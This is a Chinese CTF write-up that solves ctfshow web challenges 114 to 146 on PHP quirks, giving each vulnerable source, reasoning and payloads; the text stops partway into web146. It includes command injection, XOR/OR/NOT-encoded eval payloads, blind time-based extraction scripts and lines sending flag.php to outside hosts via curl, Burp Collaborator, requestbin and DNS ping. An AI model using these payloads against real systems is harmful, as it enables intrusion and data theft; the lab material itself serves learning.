WEB入门——PHP特性(二)

web114

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

看一下上一题的伪协议,发现zip已经被过滤掉了,但对比可以看到filter没有被过滤掉,直接进行伪协议包含:

/?file=php://filter/resource=flag.php

得到flag。。

Hint

payload: php://filter/resource=flag.php

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

查看一下相关函数:

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

相关函数:

  • ltrim() - 移除字符串左侧的空白字符或其他预定义字符。
  • rtrim() - 移除字符串右侧的空白字符或其他预定义字符。

trim(string,charlist)

  • string 必需。规定要检查的字符串。
  • charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
    • (ASCII 32 (0x20)),普通空格符。
    • \t (ASCII 9 (0x09)),制表符。
    • \n (ASCII 10 (0x0A)),换行符。
    • \r (ASCII 13 (0x0D)),回车符。
    • \0 (ASCII 0 (0x00)),空字节符。
    • \x0B (ASCII 11 (0x0B)),垂直制表符。

代码审计一下:

  • num是数字
  • num不是36
  • trim移除以后不为36
  • filter函数判断后为36

构造payload:

/?num=%0c36

PS

这里的!==相当于强等的取反,问号相当于取代掉了一个等于号

Hint

payload:num?%0c36
%0c==\f

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

这里涉及到一点是在提交POST参数,当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag

得到flag。。。。

大师傅payload

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())

Hint

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

echo被禁用了。。。使用其他打印参数的函数

CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())

大师傅解法

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

Hint

GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

跟着大师傅的思路:

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

大师傅yyds!!!!!

Hint

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}

if($ctf_show==='ilove36d'){
    echo $flag;
}

构造payload:

/?ctf_show=ilove36d

发现下划线被过滤了,看一下没被过滤的字符,发现空格没被过滤,故:

/?ctf show=ilove36d

编码绕过也行:

/?ctf%5fshow=ilove36d
/?ctf%20show=ilove36d
.......

Hint

GET:?ctf show=ilove36d

web128(骚)

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

f1过滤掉了字母数字,查看一下相关函数:

call_user_func — 把第一个参数作为回调函数调用

说明

call_user_func(callable $callback, mixed ...$args): mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

参数

  • callback

    将被调用的回调函数(callable)。

  • args

    0个或以上的参数,被传入回调函数。注意:请注意,传入call_user_func()的参数不能为引用传递。

看大师傅视频提到这里需要使用一个函数的别名,还是php里唯一有别名的函数。。。。。

gettext又名_作用是返回字符串

<?php
    echo  _("Good Morning");
?>

尝试一下是否可以RCE:

/?f1=_&f2=phpinfo

看到phpinfo被打出来了,说明可以RCE!!!

说明gettext这个扩展被打开了,接下来打印一下注册的变量即可:

/?f1=_&f2=get_defined_vars

得到flag!!!!!

Hint

https://www.cnblogs.com/lost-1987/articles/3309693.html https://www.php.net/manual/zh/book.gettext.php

小知识点: _()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

payload: ?f1=_&f2=get_defined_vars

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

要求匹配到ctfshow字符串且不在第一个,构造一个虚拟目录就行了:

/?f=/ctfshow/../../../../../../var/www/html/flag.php

Hint

考察: 目录穿越

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写) payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag

web130

very very very(省略25万个very)ctfshow
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;
}

需要过正则,要求在ctfshow前面有特殊字符就die,第二个是强相等直接构造payload即可:

POST:f=ctfshow在后面随便加啥都行

Hint

直接绕过正则表达式: f=ctfshow

web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

preg_match特性,超过一定长度不再进行正则匹配,很多厂商的waf都是基于此的,一般都是250000×4左右,可以利用这个进行绕过。

print("f="+"abcd"*2500000+"36Dctfshow",end="")

提交即可,插件炸了,再来一次,我是憨憨,上面多打了一个0.。。。。

print("f="+"abcd"*250000+"36Dctfshow",end="")

得到flag!!!!

Hint

考察: 正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK

web132

打开是一个网站,访问一下常用目录:

index,admin,robots.txt等。。。

先看一下君子协议:

Disallow: /admin

查看一下admin,发现源码!!!

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

        if($code == 'admin'){
            echo $flag;
        }       
    }
}

看下这个判断逻辑。。。。最后一个可控,为真且code=flag则输出flag,没了。。。

/admin/?username=admin&password=1&code=admin

得到flag!!!

Hint

考察: php中&&和||运算符应用 访问/robots.txt,之后访问/admin,获得源代码 https://www.cnblogs.com/hurry-up/p/10220082.html 对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。 payload: ?a=admin&b=admin&c=admin

#在判断这个的时候
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕
过

web133(骚)

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

我对这里的@$_GET不是很了解查到了这些解释:

@ 用于防止出现任何警告或错误消息。

@表示忽略错误,例如未设置变量。

将停止出现任何错误,并在错误时返回false,若变量不存在,则代码将进入if语句

首先是想将其写入文件,但是貌似没有读写权限,而且执行结果不回显。。。

因为菜鸡,所以看师傅们的wp:

Firebasky师傅的预期解

这里利用变量覆盖跳出了命令字数的限制:

/?F=`$F`;+

变量F的前六个字符就是执行$F(两个反引号是shell_exec()的缩写),第二次执行F的时候就不用截取了,可以全部执行!!!真tm牛逼这个思路!!!

然后使用bp自带的Collaborator Client模块带出相关flag!!!

curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

image-20221007204130922

image-20221007204226477

copy一下网站,构造payload!!!

?F=`$F`;+curl -X POST -F xx=@flag.php  http://kk8qqd6bu9q5tl8vbzvxj8u8dzjr7g.burpcollaborator.net

发送过去以后poll now刷新一下,得到flag!!!

image-20221007204427037

也可使用在线工具:RequestBin - The next generation

http://ceye.io/

羽师傅解法

?F=`$F`;+curl  http://requestbin.net/r/1puo0jq1?p=`cat test.php`
?F=`$F`;+curl  http://requestbin.net/r/1puo0jq1?p=`cat test2.php|grep flag`

大师傅解

使用dnslog.cc

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.3sybbi.dnslog.cn -c 1

得到flag:

image-20221007211622633

但是还需要改一下相关格式,ctfshow的格式都是按照8-4-4-4-12搞的,改一下即可!!!

Y1ng师傅脚本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote as urlen
url  = 'http://a33fd7ba-f040-4f81-9e92-15b6f919b839.challenge.ctf.show/?F=`$F%20`;'
alphabet = ['{','}', '.', '@', '-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,50):
    for char in alphabet:
        # payload = "if [ `ls  | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
        payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
        # data = {'cmd':payload}
        try:
            start = int(t.time())
            r = requests.get(url+payload)
            # r = requests.post(url, data=data)
            end = int(t.time()) - start
            if end >= 3:     
                result += char
                print("Flag: "+result)
                break
        except Exception as e:
            print(e)

我没运行出来,在这里先放着,下次重做的时候再考虑

Hint

https://blog.csdn.net/qq_46091464/article/details/109095382

深入学习

https://www.cnblogs.com/afanti/p/8047530.html

https://blog.csdn.net/whatday/article/details/107862031

web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

定义和用法

parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。


语法

parse_str(string,array)

  • string 必需。规定要解析的字符串。
  • array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

不允许get以及post直接提交参数,构造payload:

/?_POST[key1]=36d&_POST[key2]=36d

查看源代码得到flag!!!!

Hint

考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d

web135

web133plus
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

先将flag写入临时文件:

/?F=`$F`;nl   flag.php>/tmp/1

dnslog读取文件外带出来:

/?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.takge5.dnslog.cn
/?F=`$F`;+ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"`.takge5.dnslog.cn

分别读取了15、16行数据,合并提交即可:

image-20221007215519997

Hint

`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

方法一:tee命令

tee命令的作用就是读取标准输入内容,将读取到的数据写到标准输出和文件。应用场景一就是有时候我们希望操作命令既显示到屏幕又保存到文档,tee命令是我们的不二选择;应用场景二是重复展示输入内容;应用场景三是可以将文件同时复制多份。当然tee命令还可以与其他命令结合使用,组合达到我们期待的效果。

/?c=ls /|tee 1
# 将目录列举出来放到1文件中,然后访问下载文件查看。

查看目录结构:

bin dev etc f149_15_h3r3 home lib media mnt opt proc root run sbin srv sys tmp usr var

找到flag文件,再次输出到文件中,利用tee命令进行弹出。

/?c=cat /f149_15_h3r3|tee 2

打开2文件,得到flag!!!

方法二:大师傅式骚方法

大致思路是通过php将自身waf移除:

/?c=ls |xargs sed -i 's/die/echo/'
/?c=ls |xargs sed -i 's/exec/system/'

访问源代码,发现代码变了!!!!woc!!!大师傅yyds

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|system|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        echo('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    system($c);
}
else{
    highlight_file(__FILE__);
}
?>

nb!!!!!!

/?c=cat /f149_15_h3r3

得到flag!

Hint

 payload: ls /|tee 1 访问1下载发现根目录下有flag payload: cat /f149_15_h3r3|tee 2 访问下载就OK

web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);

使用call_user_func可以调用无参函数,尝试:

POST:ctfshow=phpinfo

可以发现调用成功!!!

直接调用ctfshow的静态方法:

ctfshow=ctfshow::getFlag

补充:调用动态方法

假如getFlag为动态方法:

ctfshow=call_user_func_array(array(new ctfshow(),`getFlag`),args)

Hint

考察: call_user_func()函数的使用 https://www.php.net/manual/zh/function.call-user-func.php

payload: POST: ctfshow=ctfshow::getFlag

web138

<?php

    error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

这里不准使用:,没办法只能看官方文档了。。。

<?php
namespace Foobar;
class Foo {
    static public function test() {
        print "Hello world!\n";  
    }
}
call_user_func(__NAMESPACE__ .'\Foo::test');
call_user_func(array(__NAMESPACE__ .'\Foo', 'test'));
?>

以上例程会输出:

Hello world!
Hello world!

说明传入如果是数组,则与有一样的效果!!!!

构造payload:

ctfshow[]=ctfshow&ctfshow[1]=getFlag

查看源代码得到flag!!!!

Hint

payload:
POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

本题过滤掉了大部分获取flag的函数,且不回显,只能尝试盲注了。。。。

/?c=sleep 3

可以观察到确实是休眠了3s,下面要从这些命令入手:

ls / -1
# 将ls下的根目录纵向排列
ls / -1 | awk "NR==1"
# 输出行号为1的项
ls / -1 | awk "NR==1" | cut -c 1
# 将行号为一的项的第一个字母输出
if [ `ls / -1 | cut -c 1 | awk "NR==1"` == b ];then sleep 3;fi
# 核心命令

根据上面的命令编写脚本:

import requests

url = "http://98e8dae5-2d9a-4346-bdb2-f1cfbe319546.challenge.ctf.show/?c="
payload = "if [ `ls / -1 | cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 3;fi"

result = ""

row = 5
length = 20

strings = "abcdefghijklmnopqrstuvwxyz_-0123456789"

for i in range(1,row):
    for j in range(1,length):
        for m in strings:
            target = url + payload.format(i,j,m)
            print(target)
            try:
                requests.get(target,timeout=2.5)
            except:
                result += m
                print(result)
                break
    result += " "
print(result)

我这个脚本一直跑不出来,不知道问题在哪。。。。

别的师傅的脚本是可以正常跑出来的:

import requests
import time
import string
str=string.ascii_letters+string.digits+'_~'
result=""
for i in range(1,10):#行
    key=0
    for j in range(1,15):#列
        if key==1:
            break
        for n in str:
            #awk 'NR=={0}'逐行输出获取
            #cut -c {1} 截取单个字符
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
            #print(payload)
            url="http://e6b08256-9e66-4a27-8fdf-3bd971fd223c.challenge.ctf.show/?c="+payload
            try:
                requests.get(url,timeout=(2.5,2.5))
            except:
                result=result+n
                print(result)
                break
            if n=='~':
                key=1
                result+=" "
#找到flag:/f149_15_h3r3

然后稍微改一下脚本爆破相关目录即可,这里直接照搬别的师傅脚本了,不知道为啥自己写的一直出错。。。。

#  !/usr/bin/env python
#  -*-coding:utf-8-*-
#  Author: Chenjinxiang
#  Description:

import requests
import time as t

url  = 'http://e6b08256-9e66-4a27-8fdf-3bd971fd223c.challenge.ctf.show/?c='
strings = ['{','}', '.','/','@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''

for i in range(1,48):
    for char in strings:
        # payload = "if [ ` ls / | awk 'NR==2'  |cut -c{}` = '{}' ];then sleep 3;fi".format(i,char) #改变NR值爆网站目录(NR表示目录的行数)
        payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)  #爆具体文件的内容
        # data = {'cmd':payload}
        try:
            start = int(t.time())
            r = requests.get(url+payload)
            # r = requests.post(url, data=data) #POST方法
            end = int(t.time()) - start
            # print(i,char) #输出正在爆的字符
            if end >= 3:
                result += char
                print("Result: "+result)
                break
        except Exception as e:
            print(e)

运行即可得到flag!!!!

Hint

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
    key=0
    for j in range(1,15):
        if key==1:
            break
            for n in str:
                payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
                #print(payload)
                url="http://98e8dae5-2d9a-4346-bdb2-f1cfbe319546.challenge.ctf.show/?c="+payload
                try:
                    requests.get(url,timeout=(2.5,2.5))
                except:
                    result=result+n
                    print(result)
                    break
                if n=='9':
                    key=1
                    result+=" "
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
        for n in str:
            payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep3;fi".format(j,n)
            #print(payload)
            url="http://98e8dae5-2d9a-4346-bdb2-f1cfbe319546.challenge.ctf.show?c="+payload
            try:
                requests.get(url,timeout=(2.5,2.5))
            except:
                result=result+n
                print(result)
                break

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

嵌套使用无参函数进行命令执行即可:

POST:
f1=system&f2=system
f1=getdate&f2=getdate
f1=getallheaders&f2=getenv
f1=getallheaders&f2=end
f1=getallheaders&f2=getcwd  
f1=getallheaders&f2=scandir
f1=getallheaders&f2=dirname
f1=getallheaders&f2=readfile

Hint

考察: 函数的利用 payload: f1=usleep&f2=usleep

常用总结

getcwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。

readfile()  输出一个文件 

current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end()       将内部指针指向数组中的最后一个元素,并输出。
array_rand()    函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()    array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串

getenv()        获取一个环境变量的值(在7.1之后可以不给予参数)
读文件:
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))

web141

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

代码审计一下,发现v1v2不能为数字,v3可以,但是所有的php函数都需要字母,认识到php代码如下是可以正常运行的:

phpinfo();
# 可以正常运行
1+phpinfo()+1;
# 可以正常运行
1+('phpinfo')()+1;
# 仍然可以正常运行!!!

本题正则匹配是要求v3需要以非字母数字格式:利用16进制抑或进行绕过。。。。

这俩payload都行:

?v1=1&v2=1&v3=%2b(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)%2b
?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%20%06%0c%02"|"%60%60%60%20%60%60%28")%2b

Hint

考察命令执行和绕过return 应该说运算符都可以绕过 这里用羽师傅给的一个脚本取反命令执行 ?v1=10&v2=0&v3=-(%8c%86%8c%8b%9a%92)(%9c%9e%8b%df%99%d5);

web142

首先打开:

<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>stgw/1.3.12_1.13.5</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->

我裂开,重新打开一下试试,正常了:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

代码审计一下,尝试将v1设置为0,那么直接就会输出flag,不会休眠!!!成功!!

/?v1=0

Hint

0和0x0绕过 这里绕过因为是因为当成了8进制和16进制

web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

按照web141进行改就可以得到payload了,加号和减号不能用了,这次用乘号。或|被过滤了,使用异或^

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%01%06%02"^"%7f%60%60%21%60%28")*

Hint

位运算都可以进行构造字符 ?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>

web144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

类似web141,改一下就能使用:

?v1=1&v2=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%20%06%0c%02"|"%60%60%60%20%60%60%28")&v3=-

Hint

?v1=10&v2=(%8c%86%8c%8b%9a%92)(%9c%9e%8b%df%99%d5);&v3=-

web145

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

这次异或^又被过滤了,可以用或|和取反~

?v1=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%14%01%03%20%06%02'|'%60%60%60%20%60%28')|&v2=1

Hint

?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):

web146

<?php
    highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
